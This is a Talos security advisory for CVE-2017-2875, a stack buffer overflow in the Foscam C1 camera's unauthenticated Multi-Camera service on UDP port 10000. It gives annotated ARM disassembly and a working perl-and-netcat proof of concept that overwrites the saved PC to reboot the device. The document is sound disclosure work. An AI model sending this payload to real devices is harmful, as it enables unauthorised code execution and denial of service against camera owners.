Talos Vulnerability Report

TALOS-2017-0382

Foscam IP Video Camera devMng Multi-Camera Port 10000 Command 0x0002 Username Field Code Execution Vulnerability

November 13, 2017
CVE Number

CVE-2017-2875

Summary

An exploitable buffer overflow vulnerability exists in the Multi-Camera interface used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.43. A specially crafted request on port 10000 can cause a buffer overflow resulting in overwriting arbitrary data.

Tested Versions

Foscam Indoor IP Camera C1 Series
System Firmware Version: 1.9.3.18
Application Firmware Version: 2.52.2.43
Plug-In Version: 3.3.0.26

Product URLs

http://www.foscam.com/downloads/index.html

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-121: Stack-based Buffer Overflow

Details

Foscam produces a series of IP-capable surveillance devices, network video recorders, and baby monitors for the end-user. Foscam produces a range of cameras for both indoor and outdoor use and with wireless capability. One of these models is the C1 series which contains a web-based user interface for management and is based on the arm architecture. Foscam is considered one of the most common security cameras out on the current market.

The device has a Multi-Camera feature that allows cameras to communicate with each other, in order to display multiple streams on a unique web interface. Communication between cameras happen on UDP ports 10000 and 10001 and is handled by the binary "devMng".

sub_29A98 is the threaded function that manages incoming messages on both ports using select [1]. If a message is sent to port 10000, the function multicamera_p10000 is called [2].

```
.text:00029A98             sub_29A98
.text:00029A98
.text:00029A98 F0 45 2D E9      STMFD   SP!, {R4-R8,R10,LR}
.text:00029A9C 10 30 A0 E3      MOV     R3, #0x10
.text:00029AA0 71 DF 4D E2      SUB     SP, SP, #0x1C4
.text:00029AA4 BC 31 8D E5      STR     R3, [SP,#0x1E0+var_24]
.text:00029AA8 5C 33 9F E5      LDR     R3, =0x3DE
.text:00029AAC 00 30 8D E5      STR     R3, [SP,#0x1E0+timeout]
.text:00029AB0 58 33 9F E5      LDR     R3, =aStartListenDis       ; "Start listen discovery port"
.text:00029AB4 00 40 A0 E1      MOV     R4, R0
.text:00029AB8 04 30 8D E5      STR     R3, [SP,#0x1E0+addr_len]
.text:00029ABC 06 00 A0 E3      MOV     R0, #6
.text:00029AC0 4C 33 9F E5      LDR     R3, =aIpcamdiscovery       ; "IPCamDiscovery/CIPCamDiscovery.cpp"
.text:00029AC4 03 10 A0 E3      MOV     R1, #3
.text:00029AC8 48 23 9F E5      LDR     R2, =(aMayNotBeAvaila+0x19)
.text:00029ACC 06 A4 FF EB      BL      _Z8wirteLogiiPKcS0_iS0_z
...
.text:00029BC0 01 0B A0 E3      MOV     R0, #0x400
.text:00029BC4 05 20 A0 E1      MOV     R2, R5
.text:00029BC8 05 30 A0 E1      MOV     R3, R5
.text:00029BCC B0 51 8D E5      STR     R5, [SP,#0x1E0+var_30]
.text:00029BD0 C6 A2 FF EB      BL      select                     ; [1]
.text:00029BD4 05 00 50 E1      CMP     R0, R5
.text:00029BD8 78 00 00 0A      BEQ     loc_29DC0
.text:00029BDC 0B 00 00 AA      BGE     loc_29C10
...
.text:00029C10             loc_29C10
...
.text:00029C30 28 00 00 0A      BEQ     loc_29CD8
...
.text:00029C50 04 30 8D E5      STR     R3, [SP,#0x1E0+addr_len]
.text:00029C54 0C 00 94 E5      LDR     R0, [R4,#0xC]
.text:00029C58 08 10 A0 E1      MOV     R1, R8                     ; buffer
.text:00029C5C 01 2C A0 E3      MOV     R2, #0x100
.text:00029C60 05 30 A0 E1      MOV     R3, R5
.text:00029C64 00 70 8D E5      STR     R7, [SP,#0x1E0+timeout]
.text:00029C68 20 A4 FF EB      BL      recvfrom
...
.text:00029CB8 E5 FE FF EB      BL      multicamera_p10000         ; [2]
```

multicamera_p10000 receives the "CIPCamDiscovery" object [3], the message [4] and its length [5] as parameters. The message header "MO_I" is checked [6] and the 16bit command identifier is extracted [7]. If the "discovery" command ("0x0002") is used [8], the 32bit payload size is extracted and verified against the length of the whole message minus 0x17 (the header length) [9]. If all checks are passed the function sub_27BEC is called [10].

```
.text:00029854             multicamera_p10000
.text:00029854
.text:00029854 F0 45 2D E9      STMFD   SP!, {R4-R8,R10,LR}
.text:00029858 00 00 51 E3      CMP     R1, #0
.text:0002985C 00 00 52 13      CMPNE   R2, #0
.text:00029860 4C D0 4D E2      SUB     SP, SP, #0x4C
.text:00029864 03 A0 A0 E1      MOV     R10, R3
...
.text:0002989C 05 00 A0 E1      MOV     R0, R5
.text:000298A0 D4 11 9F E5      LDR     R1, =aMo_i               ; "MO_I"
.text:000298A4 6E A5 FF EB      BL      strcmp
.text:000298A8 00 50 50 E2      SUBS    R5, R0, #0
.text:000298AC 68 00 00 1A      BNE     loc_29A54
.text:000298B0 04 30 D6 E5      LDRB    R3, [R6,#4]
.text:000298B4 05 20 D6 E5      LDRB    R2, [R6,#5]
.text:000298B8 02 34 83 E1      ORR     R3, R3, R2,LSL#8
.text:000298BC 03 38 A0 E1      MOV     R3, R3,LSL#16
.text:000298C0 43 38 A0 E1      MOV     R3, R3,ASR#16            ; [7]
.text:000298C4 02 00 53 E3      CMP     R3, #2                   ; [8]
.text:000298C8 2F 00 00 0A      BEQ     loc_2998C
...
.text:0002998C             loc_2998C
.text:0002998C 0F 30 D6 E5      LDRB    R3, [R6,#0xF]
.text:00029990 10 20 D6 E5      LDRB    R2, [R6,#0x10]
.text:00029994 02 24 83 E1      ORR     R2, R3, R2,LSL#8
.text:00029998 11 30 D6 E5      LDRB    R3, [R6,#0x11]
.text:0002999C 03 28 82 E1      ORR     R2, R2, R3,LSL#16
.text:000299A0 12 30 D6 E5      LDRB    R3, [R6,#0x12]
.text:000299A4 03 2C 82 E1      ORR     R2, R2, R3,LSL#24
.text:000299A8 17 30 82 E2      ADD     R3, R2, #0x17
.text:000299AC 03 00 57 E1      CMP     R7, R3                   ; [9]
.text:000299B0 C0 10 A0 13      MOVNE   R1, #0xC0
.text:000299B4 1C 00 00 1A      BNE     loc_29A2C
.text:000299B8 04 00 A0 E1      MOV     R0, R4
.text:000299BC 17 10 86 E2      ADD     R1, R6, #0x17
.text:000299C0 0A 30 A0 E1      MOV     R3, R10
.text:000299C4 00 80 8D E5      STR     R8, [SP,#0x68+var_68]
.text:000299C8 87 F8 FF EB      BL      sub_27BEC                ; [10]
```

sub_27BEC expects a message containing the MAC address of the receiving device. If the MAC is correct [11], username [12] and password [13] fields are extracted from the message and stored in a buffer [14] that will be sent to another process using an IPC call with code 0x400C [15]: this invokes the function "OnWebSericeUsrCheck" in the "webservice" binary, which is used to check username and password correctness.

```
.text:00027BEC             sub_27BEC
.text:00027BEC
.text:00027BEC             var_B8= -0xB8
.text:00027BEC             var_B4= -0xB4
.text:00027BEC             var_B0= -0xB0
.text:00027BEC             var_AC= -0xAC
.text:00027BEC             var_A8= -0xA8
.text:00027BEC             var_44= -0x44
.text:00027BEC             s    = -0x40
.text:00027BEC             arg_0=  0
.text:00027BEC
.text:00027BEC F0 45 2D E9      STMFD   SP!, {R4-R8,R10,LR}
.text:00027BF0 00 60 51 E2      SUBS    R6, R1, #0
.text:00027BF4 9C D0 4D E2      SUB     SP, SP, #0x9C
.text:00027BF8 00 50 A0 E1      MOV     R5, R0
.text:00027BFC 03 70 A0 E1      MOV     R7, R3
.text:00027C00 06 00 00 1A      BNE     loc_27C20
...
.text:00027C20             loc_27C20
.text:00027C20 00 00 53 E3      CMP     R3, #0
.text:00027C24 0A 00 00 1A      BNE     loc_27C54
...
.text:00027C54             loc_27C54
.text:00027C54 78 40 8D E2      ADD     R4, SP, #0xB8+s
.text:00027C58 20 20 A0 E3      MOV     R2, #0x20
.text:00027C5C 00 10 A0 E3      MOV     R1, #0
.text:00027C60 04 00 A0 E1      MOV     R0, R4
.text:00027C64 D9 AB FF EB      BL      memset
.text:00027C68 04 10 A0 E1      MOV     R1, R4
.text:00027C6C E0 00 9F E5      LDR     R0, =unk_875B0
.text:00027C70 E6 AC 00 EB      BL      read_mac                             ; [11]
.text:00027C74 04 00 A0 E1      MOV     R0, R4
.text:00027C78 04 10 86 E2      ADD     R1, R6, #4
.text:00027C7C 78 AC FF EB      BL      strcmp                               ; [11]
.text:00027C80 00 00 50 E3      CMP     R0, #0
.text:00027C84 F0 FF FF 1A      BNE     loc_27C4C
.text:00027C88 4F 40 D5 E5      LDRB    R4, [R5,#0x4F]
.text:00027C8C 00 00 54 E3      CMP     R4, #0
.text:00027C90 06 00 00 0A      BEQ     loc_27CB0
...
.text:00027CB0             loc_27CB0
.text:00027CB0 01 80 A0 E3      MOV     R8, #1
.text:00027CB4 4F 80 C5 E5      STRB    R8, [R5,#0x4F]
.text:00027CB8 12 00 85 E2      ADD     R0, R5, #0x12
.text:00027CBC 06 10 A0 E1      MOV     R1, R6
.text:00027CC0 10 50 8D E2      ADD     R5, SP, #0xB8+var_A8                 ; [14]
.text:00027CC4 3D 20 A0 E3      MOV     R2, #0x3D
.text:00027CC8 68 A0 A0 E3      MOV     R10, #0x68
.text:00027CCC 9D A9 FF EB      BL      memcpy
.text:00027CD0 0A 20 A0 E1      MOV     R2, R10
.text:00027CD4 04 10 A0 E1      MOV     R1, R4
.text:00027CD8 05 00 A0 E1      MOV     R0, R5
.text:00027CDC BB AB FF EB      BL      memset
.text:00027CE0 11 10 86 E2      ADD     R1, R6, #0x11
.text:00027CE4 05 00 A0 E1      MOV     R0, R5
.text:00027CE8 F0 AC FF EB      BL      strcpy                               ; [12]
.text:00027CEC 1E 10 86 E2      ADD     R1, R6, #0x1E
.text:00027CF0 20 00 85 E2      ADD     R0, R5, #0x20
.text:00027CF4 ED AC FF EB      BL      strcpy                               ; [13]
.text:00027CF8 07 10 A0 E1      MOV     R1, R7
.text:00027CFC 40 00 85 E2      ADD     R0, R5, #0x40
.text:00027D00 EA AC FF EB      BL      strcpy                               ; IP address
.text:00027D04 B8 30 9D E5      LDR     R3, [SP,#0xB8+arg_0]
.text:00027D08 74 30 8D E5      STR     R3, [SP,#0xB8+var_44]
.text:00027D0C 4C 00 9F E5      LDR     R0, =unk_8A480
.text:00027D10 4C 10 9F E5      LDR     R1, =0x400C                          ; [15]
.text:00027D14 08 20 A0 E1      MOV     R2, R8
.text:00027D18 05 30 A0 E1      MOV     R3, R5
.text:00027D1C 00 A0 8D E5      STR     R10, [SP,#0xB8+var_B8]
.text:00027D20 04 40 8D E5      STR     R4, [SP,#0xB8+var_B4]
.text:00027D24 08 40 8D E5      STR     R4, [SP,#0xB8+var_B0]
.text:00027D28 0C 40 8D E5      STR     R4, [SP,#0xB8+var_AC]
.text:00027D2C A2 AA FF EB      BL      _ZN10CMsgClient7sendMsgEicPKciiiPc   ; [15]
.text:00027D30 04 00 A0 E1      MOV     R0, R4
.text:00027D34
.text:00027D34             loc_27D34
.text:00027D34 9C D0 8D E2      ADD     SP, SP, #0x9C
.text:00027D38 F0 85 BD E8      LDMFD   SP!, {R4-R8,R10,PC}
```

At [13] the password is placed in the IPC buffer on the stack using an unsafe strcpy, which doesn't take into account the maximum length of the destination buffer. Since the maximum message length is 233 bytes and the buffer is smaller than that, this bug could be used by an attacker to overwrite sensitive data in the stack and execute arbitrary code.

Exploit Proof-of-Concept

This vulnerability is reachable by the "discovery" command (0x0002) and doesn't need authentication. The following proof of concept overwrites the saved PC on the stack and jumps to a piece of code that reboots the device.

```
$ sIP="192.168.0.10"
$ sMac="001122334455"
$ perl -e 'print "MO_I","\x02\x00","A"x9,"\xa6\x00\x00\x00","B"x8;' -e "print \"${sMac}\x00\";" -e 'print "C"x145,"\x98\xfc\x03\x00"' | nc -u $sIP 10000
```

Timeline

2017-07-13 - Vendor Disclosure
2017-11-13 - Public Release

Credit

Discovered by Claudio Bozzato of Cisco Talos.